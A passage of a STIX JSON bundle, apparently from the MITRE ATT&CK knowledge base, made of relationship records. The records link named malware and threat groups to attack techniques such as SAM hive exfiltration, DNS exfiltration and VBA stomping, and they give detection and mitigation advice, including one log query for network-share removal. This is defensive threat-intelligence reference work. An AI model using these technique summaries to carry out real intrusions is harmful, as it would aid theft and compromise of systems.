_time","relationship_type":"detects","source_ref":"x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6","target_ref":"attack-pattern--d4b96d2c-1032-4b22-9235-2b5b649d0605","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8fd19779-990a-4ce7-9b59-173896e518e8","type":"relationship","created":"2021-03-01T21:59:27.451Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CERT-FR PYSA April 2020","url":"https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-003.pdf","description":"CERT-FR. (2020, April 1). ATTACKS INVOLVING THE MESPINOZA/PYSA RANSOMWARE. Retrieved March 1, 2021."}],"modified":"2021-03-01T21:59:27.451Z","description":"[Pysa](https://attack.mitre.org/software/S0583) has laterally moved using RDP connections.(Citation: CERT-FR PYSA April 2020) ","relationship_type":"uses","source_ref":"malware--a19c1197-9414-46e3-986f-0f609ff4a46b","target_ref":"attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8fd3fb7d-29be-4199-87e4-6fb270925ab1","created":"2023-01-30T23:04:38.078Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelLabs Metador Sept 2022","description":"Ehrlich, A., et al. (2022, September). THE MYSTERY OF METADOR | AN UNATTRIBUTED THREAT HIDING IN TELCOS, ISPS, AND UNIVERSITIES. Retrieved January 23, 2023.","url":"https://assets.sentinelone.com/sentinellabs22/metador#page=1"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-04T21:22:26.138Z","description":"[Mafalda](https://attack.mitre.org/software/S1060) can encrypt its C2 traffic with RC4.(Citation: SentinelLabs Metador Sept 2022)","relationship_type":"uses","source_ref":"malware--3be1fb7a-0f7e-415e-8e3a-74a80d596e68","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8fd50d9a-0d3e-4433-a2b9-b9e0ae3621f7","created":"2024-07-25T18:01:22.363Z","revoked":false,"external_references":[{"source_name":"ESET EvasivePanda 2024","description":"Ahn Ho, Facundo Muñoz, & Marc-Etienne M.Léveillé. (2024, March 7). Evasive Panda leverages Monlam Festival to target Tibetans. Retrieved July 25, 2024.","url":"https://www.welivesecurity.com/en/eset-research/evasive-panda-leverages-monlam-festival-target-tibetans/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-25T18:01:22.363Z","description":"[Daggerfly](https://attack.mitre.org/groups/G1034) has used strategic website compromise to deliver a malicious link requiring user interaction.(Citation: ESET EvasivePanda 2024)","relationship_type":"uses","source_ref":"intrusion-set--f3be6240-f68e-47e1-90d2-ad8f3b3bb8a6","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8fd75064-d1b8-4b8c-b9ea-5b65a1cc0ea8","type":"relationship","created":"2019-04-24T20:48:39.791Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Adwind Feb 2016","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf","description":"Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019."}],"modified":"2019-06-24T17:20:24.627Z","description":"[jRAT](https://attack.mitre.org/software/S0283) can serve as a SOCKS proxy server.(Citation: Kaspersky Adwind Feb 2016)","relationship_type":"uses","source_ref":"malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c","target_ref":"attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8fdfcd23-4608-4a40-98fc-2e4baa8d6a41","created":"2024-02-12T18:43:49.662Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Pulse Secure Update May 2021","description":"Perez, D. et al. (2021, May 27). Re-Checking Your Pulse: Updates on Chinese APT Actors Compromising Pulse Secure VPN Devices. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-12T18:45:35.381Z","description":"[APT5](https://attack.mitre.org/groups/G1023) has copied and exfiltrated the SAM Registry hive from targeted systems.(Citation: Mandiant Pulse Secure Update May 2021)","relationship_type":"uses","source_ref":"intrusion-set--c1aab4c9-4c34-4f4f-8541-d529e46a07f9","target_ref":"attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8fe20524-e3dd-4833-9260-99df86248d3b","created":"2024-02-06T17:57:07.816Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-06T17:57:07.816Z","description":"Monitor executed commands and arguments for scripts like Syncappvpublishingserver.vbs that may be used to proxy execution of malicious files.","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--e6f19759-dde3-47fc-99cc-d9f5fa4ade60","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8fe32611-4206-4bef-9698-dbcefde08090","type":"relationship","created":"2020-06-15T14:22:33.876Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.","url":"https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/","source_name":"Unit 42 Shamoon3 2018"}],"modified":"2020-06-15T14:22:33.876Z","description":"[Shamoon](https://attack.mitre.org/software/S0140) decrypts ciphertext using an XOR cipher and a base64-encoded string.(Citation: Unit 42 Shamoon3 2018)\t","relationship_type":"uses","source_ref":"malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8fe39e12-a59d-4237-b2f1-d473c1246d20","type":"relationship","created":"2022-03-30T14:26:51.850Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.850Z","description":"Monitor for changes made to firewall rules for unexpected modifications to allow/block specific network traffic that may attempt to hide artifacts associated with their behaviors to evade detection.","source_ref":"x-mitre-data-component--b9d031bb-d150-4fc6-8025-688201bf3ffd","target_ref":"attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8fe424be-6873-4b25-a87e-88b2de005d7f","type":"relationship","created":"2021-03-12T18:46:47.334Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC NOBELIUM Mar 2021","url":"https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/","description":"Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021."}],"modified":"2021-03-12T18:46:47.334Z","description":"[Sibot](https://attack.mitre.org/software/S0589) can download and execute a payload onto a compromised system.(Citation: MSTIC NOBELIUM Mar 2021)","relationship_type":"uses","source_ref":"malware--979adb5a-dc30-48f0-9e3d-9a26d866928c","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8fe6c997-0c72-49b2-9e43-6204e9cc3039","created":"2022-03-30T14:26:51.871Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-19T21:52:50.532Z","description":"Monitor executed commands and arguments that may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. For network devices, monitor executed commands in AAA logs, especially those run by unexpected or unauthorized users.","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8fe98ea7-6bdc-4584-8020-f6668a402a70","created":"2024-07-25T22:36:00.483Z","revoked":false,"external_references":[{"source_name":"ESET EvasivePanda 2024","description":"Ahn Ho, Facundo Muñoz, & Marc-Etienne M.Léveillé. (2024, March 7). Evasive Panda leverages Monlam Festival to target Tibetans. Retrieved July 25, 2024.","url":"https://www.welivesecurity.com/en/eset-research/evasive-panda-leverages-monlam-festival-target-tibetans/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-25T22:36:00.483Z","description":"[Nightdoor](https://attack.mitre.org/software/S1147) can identify the system local time information.(Citation: ESET EvasivePanda 2024)","relationship_type":"uses","source_ref":"malware--51f78dfc-52f9-424e-8753-bb4246188313","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8fe9affe-bf8d-4392-882d-d3e737eb5c43","type":"relationship","created":"2020-10-15T12:05:58.959Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-07-28T01:04:39.674Z","description":"Consider disabling updating the ARP cache on gratuitous ARP replies.","relationship_type":"mitigates","source_ref":"course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31","target_ref":"attack-pattern--cabe189c-a0e3-4965-a473-dcff00f17213","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8fec240f-cafc-45f1-bf81-570653c662f8","type":"relationship","created":"2022-03-30T14:26:51.875Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.875Z","description":"If the document is opened with a Graphical User Interface (GUI) the malicious p-code is decompiled and may be viewed. However, if the PROJECT stream, which specifies the project properties, is modified in a specific way the decompiled VBA code will not be displayed. For example, adding a module name that is undefined to the PROJECT stream will inhibit attempts of reading the VBA source code through the GUI.(Citation: FireEye VBA stomp Feb 2020)","source_ref":"x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5","target_ref":"attack-pattern--c898c4b5-bf36-4e6e-a4ad-5b8c4c13e35b","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye VBA stomp Feb 2020","description":"Cole, R., Moore, A., Stark, G., Stancill, B. (2020, February 5). STOMP 2 DIS: Brilliance in the (Visual) Basics. Retrieved September 17, 2020.","url":"https://www.fireeye.com/blog/threat-research/2020/01/stomp-2-dis-brilliance-in-the-visual-basics.html"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8ff83164-9bab-4fb5-8e6f-740f90829974","type":"relationship","created":"2020-07-23T14:20:48.673Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trustwave GoldenSpy June 2020","url":"https://www.trustwave.com/en-us/resources/library/documents/the-golden-tax-department-and-the-emergence-of-goldenspy-malware/","description":"Trustwave SpiderLabs. (2020, June 25). The Golden Tax Department and Emergence of GoldenSpy Malware. Retrieved July 23, 2020."}],"modified":"2020-07-23T14:20:48.673Z","description":"[GoldenSpy](https://attack.mitre.org/software/S0493) has used the Ryeol HTTP Client to facilitate HTTP internet communication.(Citation: Trustwave GoldenSpy June 2020)","relationship_type":"uses","source_ref":"malware--b9704a7d-feef-4af9-8898-5280f1686326","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--8ff9263a-c32c-4fcf-b20b-9da4647baf99","created":"2022-03-25T21:08:24.980Z","x_mitre_version":"1.0","external_references":[{"source_name":"ESET Hermetic Wizard March 2022","url":"https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine","description":"ESET. (2022, March 1). IsaacWiper and HermeticWizard: New wiper and worm targetingUkraine. Retrieved April 10, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[HermeticWizard](https://attack.mitre.org/software/S0698) can connect to remote shares using `WNetAddConnection2W`.(Citation: ESET Hermetic Wizard March 2022)","modified":"2022-04-11T00:08:36.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--ff7ed9c1-dca3-4e62-9da6-72c5d388b8fa","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8ffd5c6a-da54-43ee-b384-7458499302ad","created":"2023-12-06T19:14:53.425Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SocGholish-update","description":"Andrew Northern. (2022, November 22). SocGholish, a very real threat from a very fake update. Retrieved February 13, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/part-1-socgholish-very-real-threat-very-fake-update"},{"source_name":"Microsoft Ransomware as a Service","description":"Microsoft. (2022, May 9). Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself. Retrieved March 10, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-25T19:14:46.548Z","description":"[Mustard Tempest](https://attack.mitre.org/groups/G1020) has poisoned search engine results to return fake software updates in order to distribute malware.(Citation: Microsoft Ransomware as a Service)(Citation: SocGholish-update)","relationship_type":"uses","source_ref":"intrusion-set--0d4ac089-ced4-4cc4-a989-174d08e6d030","target_ref":"attack-pattern--e5d550f3-2202-4634-85f2-4a200a1d49b3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8ffeeb33-0757-4b74-a4ae-504145bc473f","type":"relationship","created":"2020-03-19T23:18:35.426Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Leafminer July 2018","description":"Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.","url":"https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east"}],"modified":"2020-03-19T23:18:35.426Z","description":"[Leafminer](https://attack.mitre.org/groups/G0077) used several tools for retrieving login and password information, including LaZagne.(Citation: Symantec Leafminer July 2018)","relationship_type":"uses","source_ref":"intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74","target_ref":"attack-pattern--1ecfdab8-7d59-4c98-95d4-dc41970f57fc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9002b775-c016-404f-b9b3-16fcbcd0949c","type":"relationship","created":"2022-03-29T17:02:05.187Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub SILENTTRINITY Modules July 2019","url":"https://github.com/byt3bl33d3r/SILENTTRINITY/tree/master/silenttrinity/core/teamserver/modules/boo","description":"Salvati, M. (2019, August 6). SILENTTRINITY Modules. Retrieved March 24, 2022."}],"modified":"2022-03-29T17:02:05.187Z","description":"[SILENTTRINITY](https://attack.mitre.org/software/S0692) has the ability to leverage API including `GetProcAddress` and `LoadLibrary`.(Citation: GitHub SILENTTRINITY Modules July 2019)","relationship_type":"uses","source_ref":"tool--1244e058-fa10-48cb-b484-0bcf671107ae","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9003493b-6381-4bde-928d-852e050b5d22","type":"relationship","created":"2022-03-30T14:26:51.850Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.850Z","description":"Monitor executed commands and arguments that could be taken to add a new user and subsequently hide it from login screens.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--8c4aef43-48d5-49aa-b2af-c0cd58d30c3d","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--9006e828-f70a-4c7e-8dce-07d1040de3e9","created":"2022-03-25T21:08:25.061Z","x_mitre_version":"1.0","external_references":[{"source_name":"ESET Hermetic Wizard March 2022","url":"https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine","description":"ESET. (2022, March 1). IsaacWiper and HermeticWizard: New wiper and worm targetingUkraine. Retrieved April 10, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[HermeticWizard](https://attack.mitre.org/software/S0698) can find machines on the local network by gathering known local IP addresses through `DNSGetCacheDataTable`, `GetIpNetTable`,`WNetOpenEnumW(RESOURCE_GLOBALNET, RESOURCETYPE_ANY)`,`NetServerEnum`,`GetTcpTable`, and `GetAdaptersAddresses.`(Citation: ESET Hermetic Wizard March 2022)","modified":"2022-04-11T00:08:55.452Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--ff7ed9c1-dca3-4e62-9da6-72c5d388b8fa","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--90073373-434c-403c-bbb1-779b25fccb3d","type":"relationship","created":"2019-01-31T01:17:09.504Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Trend Micro. (2018, November 20). Lazarus Continues Heists, Mounts Attacks on Financial Organizations in Latin America. Retrieved December 3, 2018.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-continues-heists-mounts-attacks-on-financial-organizations-in-latin-america/","source_name":"TrendMicro Lazarus Nov 2018"}],"modified":"2019-09-09T19:15:45.685Z","description":"(Citation: TrendMicro Lazarus Nov 2018)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"malware--24b4ce59-eaac-4c8b-8634-9b093b7ccd92","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--900cbabe-4e55-434b-92ae-f458be38852a","type":"relationship","created":"2020-11-10T19:09:21.490Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Brazilian Banking Malware July 2020","url":"https://securelist.com/the-tetrade-brazilian-banking-malware/97779/","description":"GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020."}],"modified":"2020-12-22T21:07:41.680Z","description":"[Javali](https://attack.mitre.org/software/S0528) has used the MSI installer to download and execute malicious payloads.(Citation: Securelist Brazilian Banking Malware July 2020)","relationship_type":"uses","source_ref":"malware--64122557-5940-4271-9123-25bfc0c693db","target_ref":"attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9010a311-e581-428a-ba67-cf4b31891803","created":"2022-03-30T14:26:51.858Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-27T20:34:10.859Z","description":"Monitor for newly constructed processes and/or command line execution that can be used to remove network share connections via the net.exe process. \n\nNote: Event IDs are for Sysmon (Event ID 1 - process create) and Windows Security Log (Event ID 4688 - a new process has been created). The Analytic is oriented around looking for various methods of removing network shares via the command line, which is otherwise a rare event. \n\nAnalytic 1- Network Share Connection Removal\n\n (source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") (Image= \"C:\\Windows\\System32\\net.exe\" AND CommandLine= \"*delete*\") OR CommandLine=\"*Remove-SmbShare*\" OR CommandLine=\"*Remove-FileShare*\" )","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--a750a9f6-0bde-4bb3-9aae-1e2786e9780c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--90126438-03a9-47c8-98c1-222a1d79ef21","type":"relationship","created":"2020-07-23T16:50:06.423Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET ForSSHe December 2018","url":"https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf","description":"Dumont, R., M.Léveillé, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020."}],"modified":"2020-08-10T19:43:38.327Z","description":"[Kessel](https://attack.mitre.org/software/S0487) has exfiltrated data via hexadecimal-encoded subdomain fields of DNS queries.(Citation: ESET ForSSHe December 2018)","relationship_type":"uses","source_ref":"malware--c984b414-b766-44c5-814a-2fe96c913c12","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9015a88f-9442-41cb-8486-046b76cddc5d","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf","description":"Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.","source_name":"TrendMicro Patchwork Dec 2017"},{"source_name":"Volexity Patchwork June 2018","description":"Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.","url":"https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/"}],"modified":"2020-03-17T14:53:11.331Z","description":"[Patchwork](https://attack.mitre.org/groups/G0040) embedded a malicious macro in a Word document and lured the victim to click on an icon to execute the malware.(Citation: TrendMicro Patchwork Dec 2017)(Citation: Volexity Patchwork June 2018)","relationship_type":"uses","source_ref":"intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9020cfe5-99b4-48ba-ac48-bcf20697c575","type":"relationship","created":"2021-02-23T20:50:33.040Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Conficker","url":"https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/conficker","description":"Trend Micro. (2014, March 18). Conficker. Retrieved February 18, 2021."}],"modified":"2021-05-04T18:09:08.537Z","description":"[Conficker](https://attack.mitre.org/software/S0608) adds Registry Run keys to establish persistence.(Citation: Trend Micro Conficker)","relationship_type":"uses","source_ref":"malware--58eddbaf-7416-419a-ad7b-e65b9d4c3b55","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9020d567-103b-4dc2-b27d-115078ae2a76","type":"relationship","created":"2020-05-06T15:26:38.829Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"JPCert PLEAD Downloader June 2018","url":"https://blogs.jpcert.or.jp/en/2018/03/malware-tscooki-7aa0.html","description":"Tomonaga, S. (2018, June 8). PLEAD Downloader Used by BlackTech. Retrieved May 6, 2020."}],"modified":"2020-05-06T15:26:38.829Z","description":"[PLEAD](https://attack.mitre.org/software/S0435) has the ability to upload and download files to and from an infected host.(Citation: JPCert PLEAD Downloader June 2018)","relationship_type":"uses","source_ref":"malware--b57f419e-8b12-49d3-886b-145383725dcd","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9021af47-45ef-4021-a697-d76ccb790f07","type":"relationship","created":"2021-10-05T21:58:51.350Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"20 macOS Common Tools and 